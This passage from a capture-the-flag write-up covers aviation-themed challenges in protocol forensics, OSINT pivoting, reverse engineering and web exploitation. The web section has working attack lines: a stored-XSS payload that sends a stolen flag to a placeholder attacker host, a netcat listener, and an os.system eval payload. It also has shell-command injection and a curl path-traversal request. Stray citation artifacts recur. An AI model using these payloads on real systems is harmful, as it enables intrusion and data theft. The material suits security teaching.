0x06	1	Flags
0x07	2	Sequence Number
0x09	2	Payload Length
0x0B	2	CRC-16

After the header, the payload follows a TLV layout:

```
Type (1 byte) | Length (2 bytes) | Value (Length bytes)
```

Common fields include:

- `0x01` = Subsystem ID
- `0x02` = Flight ID
- `0x03` = Airport Code
- `0x10` = Telemetry Blob

A key part of the challenge is discarding convincing decoys. Several packets contain `AVIO` and TLV-like structures, but only the flow on:

```
udp.port == 40222
```

between `10.10.0.10` and `10.10.0.20` remains consistent in versioning, CRC behavior, and bidirectional sequencing. Among those valid packets, one message stands out:

- Message Type = `0x7F`

- Flags = `0x01`
- unusual TLV Type = `0x7F`

The value in TLV `0x7F` is binary and not directly readable. However, the same packet contains known plaintext values such as:

- Airport = `JFK`
- Flight ID = `AF447`

These fields provide the clue needed to derive the XOR key. The solve path combines them into:

```
JFK-AF447
```

then increments each byte by `+7` to form the repeating XOR key. Applying that key to the anomalous TLV value yields the hidden flag.

7.4.3 Intended Solution Path

1. Filter likely protocol traffic and identify packets beginning with:

   ```
   AVIO
   ```

2. Compare multiple packets to reconstruct the header structure.
3. Infer the TLV layout in the payload.
4. Eliminate decoy flows by checking:
   - version consistency
   - CRC plausibility
   - sequence behavior
   - correct UDP port
5. Isolate the valid flow on:

   ```
   udp.port == 40222
   ```

6. Locate the anomalous packet with message type `0x7F`.
7. Extract the binary value from TLV `0x7F`.
8. Build the key from the known plaintext fields:

   ```
   JFK-AF447
   ```

9. Increment each key byte by `+7` and use it as a repeating XOR key.
10. Decrypt the TLV value to recover the flag.

7.4.4 Result

```
CTF{custom_protocol_exposed}
```

7.4.5 Security Lesson

Custom protocols do not create security by themselves. Predictable field structure, weak obfuscation, and insufficient integrity design make proprietary systems just as vulnerable to analysis as standard ones. The challenge also reinforces the importance of ignoring plausible decoys and validating protocol context before drawing conclusions.

7.5 Network-5: Flawed Protocol Design

7.5.1 Overview

This challenge builds on custom-protocol analysis by emphasizing the security impact of weak protocol design choices. Rather than hiding the flag in a standard application protocol, the challenge uses a bespoke transport structure with validation-like fields and contextual encoding that appear stronger than they are.

Core Weakness
The protocol appears structured and validated, but its confidentiality mechanism is weak, reversible, and dependent on attacker-observable context.

7.5.2 Analysis

The design includes:

- magic bytes
- versioning
- payload length
- CRC-16
- typed payload fields

At first glance this resembles a carefully designed embedded or avionics messaging format. However, the protocol's secrecy depends on obfuscating one TLV with an XOR key derived from fields already present in the same message. That design collapses as soon as the analyst reconstructs the format.

The challenge teaches two critical lessons:

1. validation fields such as checksums do not provide confidentiality
2. deriving a key from observable context makes the encoding reversible

7.5.3 Intended Solution Path

1. Reconstruct the packet layout from repeated observations.
2. Confirm which packets belong to the real protocol flow.
3. Identify the hidden maintenance or exception message.
4. Use plaintext fields from the same packet to derive the obfuscation key.
5. Decrypt the hidden payload and recover the flag.

7.5.4 Result

The flag is recovered once the protocol structure and key derivation logic are understood.

7.5.5 Security Lesson

A protocol is not secure just because it is custom, structured, or checksum-protected. If confidentiality depends on reversible transformations and attacker-visible context, the system is vulnerable by design.

8 OSINT Challenges

8.1 OSINT-1: Open-Source Flight Identification

8.1.1 Overview

This challenge requires identifying a well-known international aviation disaster using only open-source media metadata and contextual hints. The intended lesson is that answers can often be derived from titles, descriptions, and public indexing metadata rather than deep-content review.

Core Weakness
Publicly available media metadata can expose the exact subject of an investigation without requiring privileged access or full-content review.

8.1.2 Analysis

The prompt narrows the search space through multiple constraints:

- It concerns a major international aviation disaster.
- The incident is widely discussed in safety documentaries.
- The aircraft was lost over open ocean during a long-haul route.
- The answer is discoverable in titles or descriptions rather than hidden in full video content.

These clues guide solvers away from random browsing and toward structured media search and metadata review.

8.1.3 Intended Solution Path

1. Start with broad searches such as:

```
aviation disaster safety documentary
international plane crash documentary
aviation accident analysis flight number
```

2. Use the prompt constraints to eliminate incidents that are:
   - U.S.-domestic rather than international
   - not over open ocean
   - not frequently referenced by flight number
3. Inspect:
   - documentary titles
   - video descriptions
   - article headlines
   - episode names
4. Identify the flight number that appears repeatedly across metadata.

8.1.4 Result

```
CTF{447}
```

8.1.5 Security Lesson

This challenge reinforces that open-source investigations often depend more on careful scoping and metadata review than on deep technical exploitation. Public indexing alone can expose critical facts. :contentReference[oaicite:4]index=4

8.2 OSINT-2: Metadata-Driven Corporate Pivot

8.2.1 Overview

This challenge asks solvers to pivot from a company identity to publicly exposed technical artifacts, then reconstruct a concealed flight event through metadata, registry research, and repository history.

Core Weakness
A combination of exposed media metadata, public repository contents, and aircraft ownership records allows reconstruction of an internal operational timeline.

8.2.2 Analysis

The solve path uses multiple open sources:

- company naming and public social presence
- GitHub repository discovery
- image metadata extraction
- FAA aircraft registry data
- commit history review

The challenge is designed to reward careful pivoting rather than a single lucky search.

8.2.3 Intended Solution Path

1. Search the company name:

```
SkyRelay Holdings LLC
```

2. Identify the GitHub account:

```
skyrelay-ops
```

3. Open the repository:

```
mx_logs_archive
```

4. Download the exposed image:

```
hangar7_departure.jpg
```

5. Extract metadata:

```
exiftool hangar7_departure.jpg
```

6. Recover the key details:
   - GPS → KHPN
   - DateTimeOriginal → 22:45

- Comment → SR471
- visible tail → N471SK

7. Search the aircraft registration:

```
N471SK
```

8. Extract the Mode S hex and ownership details.
9. Review `reposition_log.csv` and inspect earlier commits for route changes.

8.2.4 Result

```
CTF{KHPN_2245_SR471_KMTP_A0515B}
```

8.2.5 Security Lesson

Seemingly harmless public artifacts become high-value intelligence when correlated across repositories, metadata, and aviation registries.

8.3 OSINT-3: Persona Reconstruction

8.3.1 Overview

This challenge requires persona reconstruction and trust-relationship analysis. Rather than compromising the initial subject directly, solvers must identify a trusted secondary contact and pivot to that individual to uncover the flag.

Core Weakness
Operational exposure exists not only in the primary target's public footprint, but also in adjacent trusted relationships that reveal more useful access paths.

8.3.2 Analysis

The challenge begins with a single handle:

```
@SkylineTorque
```

Initial analysis reveals an aviation maintenance persona named Alex with relevant industry context but no obvious privileged access. Repeated interactions with another account, `@RunwayOpsDan`, indicate a stronger operational role and therefore a more valuable investigative pivot.

8.3.3 Intended Solution Path

1. Review `@SkylineTorque` content and identify recurring interactions.
2. Observe repeated, contextually meaningful comments from:

   ```
   @RunwayOpsDan
   ```

3. Pivot to Daniel Wright's public profiles.
4. Use LinkedIn or profile references to locate Daniel's GitHub account.
5. Open the aviation-related repository:

   ```
   airline-tracker
   ```

6. Inspect `notes.txt`, which contains:
   - a hex-encoded ciphertext
   - a note that XOR was used
   - a key hint: "my tag in caps, no symbols"
7. Normalize Daniel's handle:

   ```
   RUNWAYOPSDAN
   ```

8. Use that as the XOR key to decrypt the ciphertext.

8.3.4 Result

```
CTF{social_engineering_takeoff}
```

8.3.5 Security Lesson

The most visible target is not always the most valuable one. Trust mapping and secondary pivots are central to real-world OSINT and social engineering workflows.

8.4 OSINT-4: Layered Social Graph Exploitation

8.4.1 Overview

This challenge expands on persona-based OSINT by requiring multi-account pivoting, manual visual inspection, repository discovery, metadata extraction, and multi-source assembly.

Core Weakness
Small clues distributed across public social posts, story highlights, GitHub references, filenames, and EXIF metadata can be combined to reveal sensitive internal naming conventions.

8.4.2 Infrastructure and Clues

The challenge includes:

- Instagram account: `@TorqueSolutionsMX`
- Instagram account: `@marcoflaps`
- GitHub repository: `tq431 / line-mx-reference`
- image file: `shift_log_0531.jpg`
- EXIF comment containing the keyword `Sierra rotation`

A visible social exchange hints that a clue was left in an image and requires close inspection.

8.4.3 Intended Solution Path

1. Start with:

```
@TorqueSolutionsMX
```

2. Review comments and note Marco's reference to a shift note.
3. Pivot to:

```
@marcoflaps
```

4. Open the `Side Projects` highlight.
5. Zoom into the second story image and recover the GitHub repository reference:

```
git@github.com:tq431/line-mx-reference.git
```

6. Browse the repository and identify:

```
/assets/shift_log_0531.jpg
```

7. Extract metadata:

```
exiftool shift_log_0531.jpg
```

8. Recover:

- numeric component: 531
- EXIF comment keyword: SIERRA
- prefix derived from handle and theme: TQ

9. Assemble the final flag from the three components.

8.4.4 Result

```
CTF{TQ_SIERRA_531}
```

8.4.5 Security Lesson

This challenge demonstrates how fragmented public clues gain meaning when correlated across platforms. Manual visual review and metadata extraction remain critical OSINT skills.

8.5 OSINT-5: Full OSINT Flight Chain

8.5.1 Overview

This challenge is a full-chain aviation OSINT exercise. Participants receive only a company name and public handle, then must independently discover media, extract metadata, inspect registry records, identify a concealed diversion, and reconstruct the final operational timeline.

Core Weakness
A complete operational narrative can be rebuilt from public social content, archived repository media, aviation registry data, and historical repository changes.

8.5.2 Challenge Context

The prompt provides:

- Company: `SkyRelay Holdings LLC`
- X Handle: `@HangarSevenOps`

The challenge uses red herrings intentionally. A secondary account suggests deviations and tracking inconsistencies, but the intended path is to pivot to the company rather than over-focus on that account.

8.5.3 Intended Solution Path

1. Review `@HangarSevenOps` and note references to a deleted departure image.
2. Ignore the controlled red herring account after confirming it provides no complete solution path.
3. Search the company name and identify the GitHub account:

   ```
   skyrelay-ops
   ```

4. Open:

   ```
   mx_logs_archive
   ```

5. Locate:
   - `hangar7_departure.jpg`
   - `reposition_log.csv`
   - `registry_snapshot_N471SK.pdf`
6. Extract image metadata:

   ```
   exiftool hangar7_departure.jpg
   ```

7. Recover:
   - departure airport: KHPN
   - time: 2245

- flight ID: SR471
- tail number: N471SK

8. Search the FAA registry for `N471SK` and extract:
   - owner: SkyRelay Holdings LLC
   - Mode S Hex: A0515B
9. Review the latest CSV and then inspect earlier commit history.
10. Observe the hidden diversion in an earlier entry:

```
SR471,N471SK,HPN,TJSJ,KMTP
```

11. Assemble the full timeline.

8.5.4 Result

```
CTF{KHPN_2245_SR471_KMTP_A0515B}
```

8.5.5 Security Lesson

Operational secrecy fails when public artifacts, technical metadata, and historical change tracking all remain exposed. This challenge captures how real-world intelligence reconstruction often depends on correlation rather than compromise.

9 Reverse Engineering Challenges

9.1 RE-1: Strings in Binary

9.1.1 Overview

This is the intended beginner reverse engineering challenge. The objective is to recover a flag stored as a printable string inside a compiled binary.

Core Weakness
Sensitive strings remain embedded in the executable and can be recovered through basic static inspection without executing the program.

9.1.2 Analysis

The binary is identified as a compiled 64-bit ELF. A first-pass strings scan is sufficient because the flag is stored in a visible constant string and does not require control-flow tracing or runtime analysis.

9.1.3 Intended Solution Path

1. Identify the file type:

```
file autopilot.bin
```

2. Extract printable strings:

```
strings autopilot.bin
```

3. Filter for likely keywords:

```
strings autopilot.bin | grep -i override
```

4. Recover the embedded output string.

9.1.4 Alternate GUI Method

1. Import the binary into Ghidra.
2. Open `Window` → `Defined Strings`.
3. Search for:

```
override
Technician
DEBUG
```

9.1.5 Result

```
CTF{override_code}
```

9.1.6 Security Lesson

Reverse engineering does not always begin with debugging. Basic static tooling such as `strings` frequently reveals meaningful developer artifacts and forgotten debug content. :contentReference[oaicite:9]index=9

9.2 RE-2: Simple Control Flow

9.2.1 Overview

This challenge teaches control-flow tracing in a small binary. The program accepts a route value and follows either a blocked or success path depending on a simple comparison.

Core Weakness
The success condition is implemented as a direct constant comparison that can be recovered through decompilation or disassembly.

9.2.2 Analysis

Running the binary shows that arbitrary values lead to failure. Static inspection reveals a helper function that validates the user input and compares it against a constant route value.

9.2.3 Intended Solution Path

1. Execute the binary:

```
./navigation
```

2. Observe the prompt:

```
Select route:
```

3. Open the binary in Ghidra, IDA, or inspect with `objdump`.
4. Trace the function that receives the input.
5. Recover the comparison logic, which simplifies to:

```
if (route == 8) {
    success();
}
```

6. Run the program again and provide the correct route value.

9.2.4 Result

Entering the correct value leads to the success path and flag output.

9.2.5 Security Lesson

Many beginner reverse engineering challenges are fundamentally logic-recovery exercises. Understanding control flow is enough to defeat simple validation routines. :contentReference[oaicite:10]index=10

9.3 RE-3: Obfuscated Logic

9.3.1 Overview

This challenge moves beyond direct comparisons. The binary validates an integer input using nonlinear arithmetic and then decrypts a runtime-only flag using a PRNG-style keystream.

Core Weakness
Although the flag is not present as plaintext, the validation and decryption routines can be reversed to recover the correct input and reconstruct the flag.

9.3.2 Analysis

Initial string inspection shows no visible flag content:

```
strings flight-control | grep CTF
```

This indicates the flag is stored encrypted or generated at runtime. Decompilation reveals:

- an integer input path via `scanf`
- a transformation function commonly labeled `mix`
- a comparison against a transformed constant rather than the raw input
- a second function that decrypts a static byte array using a xorshift-style keystream

9.3.3 Intended Solution Path

1. Identify the binary format:

   ```
   file flight-control
   ```

2. Confirm the flag is not visible via strings.
3. Load the binary into Ghidra and trace from `main`.
4. Locate the `check()` routine and identify the transformed comparison:

   ```
   if (mix(input) == 3481408167)
       success();
   ```

5. Recover the correct input using one of two methods:
   - reimplement `mix()` in Python or C and brute-force likely integer values
   - use dynamic analysis to trace the comparison and branch behavior
6. Analyze the post-validation decryption routine and note:
   - encrypted flag bytes in `.rodata`
   - xorshift keystream generation
   - seed derived from `mix(input) ^ constant`

7. Either:
   - run the binary with the recovered input, or
   - reproduce the decryption routine offline

9.3.4 Result

```
CTF{deobfuscated_flightpath}
```

9.3.5 Security Lesson

Obfuscation raises effort but does not prevent analysis. Once logic and key derivation are understood, runtime-only secrets can still be recovered. :contentReference[oaicite:11]index=11

9.4 RE-4: Anti-Debug and Packing

9.4.1 Overview

This challenge introduces anti-debugging and runtime unpacking. The validation routine is not directly visible in the original binary and must be recovered after bypassing anti-analysis measures.

Core Weakness
Packed code and anti-debugging only delay analysis. Once runtime decryption is bypassed or observed, the real validation logic becomes recoverable.

9.4.2 Analysis

Initial inspection with `strings` reveals no obvious flag or key. Static analysis shows:

- anti-debugging checks such as `ptrace` and `TracerPid`
- a packed byte array
- executable memory allocation via `mmap`
- runtime decryption of the hidden payload

The unpacked memory region contains the real validation function.

9.4.3 Intended Solution Path

1. Confirm no obvious strings are present.
2. Load the binary into Ghidra and locate anti-debug logic.
3. Bypass anti-debug checks through patching or debugger strategy.
4. Run the binary until the payload is unpacked into executable memory.
5. Dump the decrypted memory region using GDB.
6. Re-import the dumped code into Ghidra.
7. Reverse the unpacked validation function and recover the correct key:

   ```
   RESTORE1
   ```

8. Run the original binary with the recovered key.

9.4.4 Result

Supplying the correct key yields the flag.

9.4.5 Security Lesson

Packing and anti-debugging are common obstacles in malware and protected binaries, but neither provides true security once the unpacked code can be captured and reanalyzed. :contentReference[oaicite:12]index=12

9.5 RE-5: Custom Algorithm Reversal

9.5.1 Overview

This challenge requires reversing a custom state-based mixing algorithm used to validate a thrust calibration code. The final state is compared against a 64-bit constant, and no plaintext flag exists in the binary.

Core Weakness
A proprietary or custom validation algorithm is still reversible through state tracing, pseudocode reconstruction, and controlled testing.

9.5.2 Analysis

The binary:

- accepts user input
- applies a sequential state transformation
- compares the final 64-bit result against a constant
- only prints success on an exact match

Because no plaintext flag is embedded, the challenge centers on recovering the correct input by understanding the algorithm itself.

9.5.3 Intended Solution Path

1. Identify the validation entry point in Ghidra.
2. Trace the state transitions across each input-dependent step.
3. Document how:
   - the state is initialized
   - each byte or character updates the state
   - the final comparison is made
4. Reimplement the transformation in a scripting language.
5. Use targeted brute force, constraint solving, or guided testing to recover an input that yields the target 64-bit state.
6. Execute the binary with the valid calibration code.

9.5.4 Result

A correct input triggers the success path and reveals the flag.

9.5.5 Security Lesson

Custom algorithms are not a substitute for secure design. Even unfamiliar logic becomes tractable once the state machine is understood and reproduced.

10 Web Exploitation Challenges

10.1 WebExp-1: Seat Manifest Enumeration

10.1.1 Overview

This challenge focuses on insecure direct object access through predictable seat identifiers in a manifest endpoint.

Core Weakness
The application exposes passenger records through a directly user-controllable seat parameter without enforcing per-record authorization.

10.1.2 Analysis

The manifest endpoint accepts a `seat` parameter and returns different passenger records as the value changes. The lack of access control allows simple enumeration.

10.1.3 Intended Solution Path

1. Access the manifest endpoint.
2. Modify the `seat` parameter incrementally:

```
/manifest?seat=2
/manifest?seat=3
/manifest?seat=4
/manifest?seat=5
```

3. Observe that each request returns a different passenger record.
4. Continue enumeration until an internal or privileged record containing the flag appears.

10.1.4 Result

The flag is exposed in the unauthorized passenger record.

10.1.5 Security Lesson

IDOR-style flaws remain common because developers validate object existence but fail to enforce authorization on object access. :contentReference[oaicite:14]index=14

10.2 WebExp-2: Insecure Record Enumeration

10.2.1 Overview

This challenge continues the theme of manifest exposure by showing how low-complexity enumeration can reveal operationally sensitive data when object references are predictable.

Core Weakness
Predictable request parameters allow attackers to enumerate internal application data without authentication barriers or context checks.

10.2.2 Analysis

Changing the seat identifier results in direct record traversal. No rate limit, access restriction, or ownership verification is enforced.

10.2.3 Intended Solution Path

1. Identify the record-selection parameter:

   ```
   seat
   ```

2. Increment the value systematically.
3. Record each response and identify changes in returned passenger data.
4. Continue until a privileged manifest entry reveals the flag.

10.2.4 Result

Enumeration reveals an internal record containing the flag.

10.2.5 Security Lesson

Authorization failures do not need complex payloads. Simple enumeration becomes powerful when identifiers are predictable and access checks are absent. :contentReference[oaicite:15]index=15

10.3 WebExp-3: Manifest Drift

10.3.1 Overview

This challenge combines metadata-based reconnaissance, authentication bypass, and flawed session handling to produce a multi-step privilege escalation path.

Core Weakness
The application links several subtle flaws: metadata leakage of a hidden PNR, unsafe regex-based identity validation, assignment-based role escalation in session middleware, and user-controlled flight context in session state.

10.3.2 Analysis

The workflow begins with a boarding pass PDF that does not display the key PNR visibly. The PNR exists only in the PDF metadata, forcing a reconnaissance pivot before the authentication bypass can occur. Even after bypassing passenger validation, the application still depends on flawed session logic to protect restricted ops routes.

10.3.3 Intended Solution Path

1. Download the recovered boarding pass PDF.
2. Extract metadata:

```
exiftool lost_boarding_pass.pdf
```

3. Recover the hidden PNR from the Title field:

```
AF447X
```

4. Visit the passenger check-in endpoint.
5. Bypass last-name validation using a regex wildcard:

```
.*
```

6. After successful boarding-pass access, enumerate additional routes and inspect:

```
/robots.txt
```

7. Recover the hidden restricted path:

```
Disallow: /ops/
```

8. Visit:

```
/ops/manifest
```

9. Observe that the application unexpectedly grants crew-level access because of the middleware bug:

```
if (req.session.role = "crew") return next();
```

10. Set the flight context explicitly:

```
/ops/manifest?flight=AF447
```

11. Retrieve the flag from:

```
/ops/blackbox
```

10.3.4 Result

```
CTF{gate22_manifest_override}
```

10.3.5 Security Lesson

This challenge mirrors real web compromises in which no single flaw looks catastrophic in isolation, but chained weaknesses in metadata handling, validation, and session state produce full privilege escalation.

10.4 WebExp-4: Stored XSS to Privilege Escalation

10.4.1 Overview

This challenge demonstrates stored XSS in a staff review interface. User-supplied feedback is placed inside a JavaScript string context, allowing stored payload execution when a privileged reviewer opens the page.

Core Weakness
Unsafely embedded user input inside an `onclick` handler creates a stored XSS condition that can be used to steal privileged content from an internal staff-only page.

10.4.2 Analysis

The vulnerable rendering pattern is:

```
<button onclick="showMessage({{ r['id'] }}, '{{ r['message'] }}')">
```

Because the message is inserted into a quoted JavaScript string without proper escaping, an attacker can break out of the string and inject script logic. The challenge assumes a captain or privileged reviewer regularly accesses the staff review page, turning stored XSS into a privilege boundary bypass.

10.4.3 Intended Solution Path

1. Prepare a listener to receive exfiltrated data:

   ```
   nc -lvnp 8080
   ```

   or

   ```
   python3 -m http.server 8080
   ```

2. Craft a test payload:

   ```
   '); alert('XSS'); //
   ```

3. Craft the flag-stealing payload:

   ```
   '); fetch('/web-4/staff/cockpit').then(r=>r.text()).then(t=>{let f=t.match(/<code id="
       flag">(.*?)<\/code>/)[1];fetch('http://YOUR_IP:8080/?flag='+f);}); //
   ```

4. Submit the payload through:

   ```
   /web-4/submit
   ```

5. Wait for the privileged reviewer to load the message in the staff interface.
6. Capture the exfiltrated flag from the listener.

10.4.4 Result

The privileged browser session leaks the cockpit flag to the attacker-controlled endpoint.

10.4.5 Security Lesson

Stored XSS remains one of the most dangerous web flaws because it converts low-privilege input into privileged-session code execution. Output encoding must match the exact rendering context. :contentReference[oaicite:17]index=17

10.5 WebExp-5: Control Tower Console

10.5.1 Overview

This challenge is a full-stack web exploitation chain involving MFA bypass, administrative endpoint discovery, command execution, debug misuse, and path traversal.

Core Weakness
Multiple dangerous administrative features are exposed behind weak logic controls: predictable MFA bypass codes, privileged API access, command execution through a hidden console feature, unsafe debug actions, and path traversal in static file serving.

10.5.2 Analysis

After authentication, the application exposes:

- a flawed MFA verification routine
- admin APIs revealing users and audit logs
- a hidden debug endpoint
- console command execution when commands begin with `!`
- file read and code evaluation actions in debug mode
- unsanitized static file access enabling traversal

The surfaced writeup includes specific bypass codes whose digit sums equal 21, indicating a weak validation rule rather than a true one-time MFA secret.

10.5.3 Intended Solution Path

1. Authenticate with valid credentials.
2. Bypass MFA using a known valid code such as:

```
119190
```

3. Confirm privileged access by querying:

```
/api/admin/users
/api/audit/logs
```

4. Discover the hidden debug endpoint:

```
/api/admin/debug
```

5. Abuse the console execution feature with a command prefixed by `!`:

```
!cat /flag.txt
```

6. Or use the debug endpoint for direct file read:

```
{
  'action': 'file_read',
  'filename': '/flag.txt'
}
```

7. Or use the debug endpoint for code evaluation:

```
{
  'action': 'eval',
  'code': "__import__('os').system('cat /flag.txt')"
}
```

8. Alternatively exploit the static file traversal:

```
curl http://64.251.61.76/web-5/static/../../../../flag.txt
```

10.5.4 Result

Any of the privileged execution or traversal paths yields the flag.

10.5.5 Security Lesson

This challenge demonstrates how administrative convenience features become catastrophic when stacked on top of weak authentication and insufficient input validation. Debug interfaces, shell execution, and traversal-prone file serving should never be exposed in production logic.

11 Conclusion

Together, these eight categories provide a broad view of offensive security and analytical tradecraft.